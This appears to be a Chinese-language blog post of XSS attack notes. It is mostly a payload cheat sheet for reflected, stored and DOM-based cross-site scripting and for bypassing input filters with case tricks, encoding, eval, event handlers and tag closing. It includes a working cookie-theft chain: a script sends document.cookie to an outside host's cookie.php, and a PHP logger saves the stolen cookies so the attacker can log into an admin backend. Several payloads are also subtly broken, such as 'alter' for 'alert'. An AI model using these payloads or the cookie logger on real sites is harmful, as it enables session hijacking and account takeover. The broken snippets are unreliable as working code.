XSS攻擊
XSS攻擊
點擊查看代碼
<script>alert('xss')</script>
<script>alert(document.cookie)</script> #顯示出cookie信息
<script>document.location='http://www.test.com/cookie.php?cookie='+document.cookie;</script> 需要進行URL編碼
# cookie.php 反射型XSS獲取cookie,登錄后臺
<?php
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt",$cookie);
存儲型xss漏洞,數據寫入數據庫中,利用img標簽,如果出現損壞的小圖標,就說明存在存儲型xss漏洞
<img src=1 onerror = alter'1'> 如果前面的src=1沒有正常執行,就會調用onerror = '111'
- 無法使用<>:以下三行代碼可在<>里面寫
onclick=alter(1)// 點擊后觸發
Onmousemove 當鼠標移動就觸發 Onmousemove=alter(1)
Onload 當頁面加載完成后觸發 - 將on、script等字符分割:
<a href=javascript:alert(1)>Clickme</a>需要先閉合<>、""這些 - 將on、script等以及href字符分割:更改大小寫看是否可行
- 過濾比較多:可以使用unicode編碼形式繞過
基于DOM的XSS
基于DOM文檔對象模型漏洞的一種攻擊方式,不依賴于服務器端的數據,而從客戶端獲得DOM中的數據并在本地執行。
通過JS腳本對文檔對象進行編輯從而修改頁面中的元素。
url+#javascript:alert(1) javascript偽協議
判斷是否存在DOM型XSS的關鍵是觀察我們的HTML源代碼中是否存在相關的js函數
location.hash
location.href
innerHTML
document.write
eval("var x = "'+location.hash + ""');
localStorge、SessionStorge、Cookies
利用與繞過
- 大小寫繞過
這個繞過方式的出現是因為網站僅僅只過濾了<script>標簽,而沒有考慮標簽中的大小寫并不影響瀏覽器的解釋所致。
-
%0A繞過
換行符沒有過濾,使用%0A進行繞過
http://www.zixem.altervista.org/XSS/3.php?name=zxm%0A<script>alert("1337");</script>
- 利用過濾后返回語句再次構成攻擊語句來繞過
我們直接敲入script標簽發現返回的網頁代碼中script標簽被去除了,但其余的內容并沒有改變。
這個利用原理在于只過濾了一個script標簽。例如:scscriptript
-
并不是只有script標簽才可以插入代碼
例如這里我們用
標簽做一個示范。
我們利用如下方式:
`[http://192.168.1.102/xss/example4.php?name=
src='w.123' onerror='alert("hey!")'>
`
就可以再次愉快的彈窗。原因很簡單,我們指定的圖片地址根本不存在也就是一定會發生錯誤,這時候onerror里面的代碼自然就得到了執行。以下列舉幾個常用的可插入代碼的標簽。
<a onmousemove=’do something here’>當用戶鼠標移動時即可運行代碼
<div onmouseover=‘do something here’>當用戶鼠標在這個塊上面時即可運行(可以配合weight等參數將div覆蓋頁面,鼠標不劃過都不行)
類似的還有onclick,這個要點擊后才能運行代碼,條件相對苛刻,就不再詳述。
編碼腳本代碼繞過關鍵字過濾
有的時候,服務器往往會對代碼中的關鍵字(如alert)進行過濾,這個時候我們可以嘗試將關鍵字進行編碼后再插入,不過直接顯示編碼是不能被瀏覽器執行的,我們可以用另一個語句eval()來實現。eval()會將編碼過的語句解碼后再執行,簡直太貼心了。
例如alert(1)編碼過后就是
\u0061\u006c\u0065\u0072\u0074(1) eval()函數:可計算字符串,并執行其中的javaScript代碼 <script>eval("alert('xss')");</script> 可以使用\連接十六進制字符串,然后使用eval()函數執行十六進制字符串形式的腳本 -
主動閉合標簽實現注入代碼
這個時候就要我們手動閉合掉兩個雙引號來實現攻擊,別忘了,javascript是一個弱類型的編程語言,變量的類型往往并沒有明確定義。
-
繞過長度限制
假設下面代碼存在一個XSS漏洞:
<input type = text value='$var'/>
服務器端對輸出變量$var做了嚴格的長度限制,那么攻擊者可能會這樣構造XSS:
$var='><script>alter(/xss/)</script>'
希望達到的輸出效果是:
<input type=text value=''><script>alter(/xss/)</script>'/>
假設長度限制為20個字節,則這段xss會被切割為
$var輸出為:'><script>alter(/xss
$var='onclick =alter(1)//
- 可用注釋符繞過長度限制 ><!-- -->
浙公網安備 33010602011771號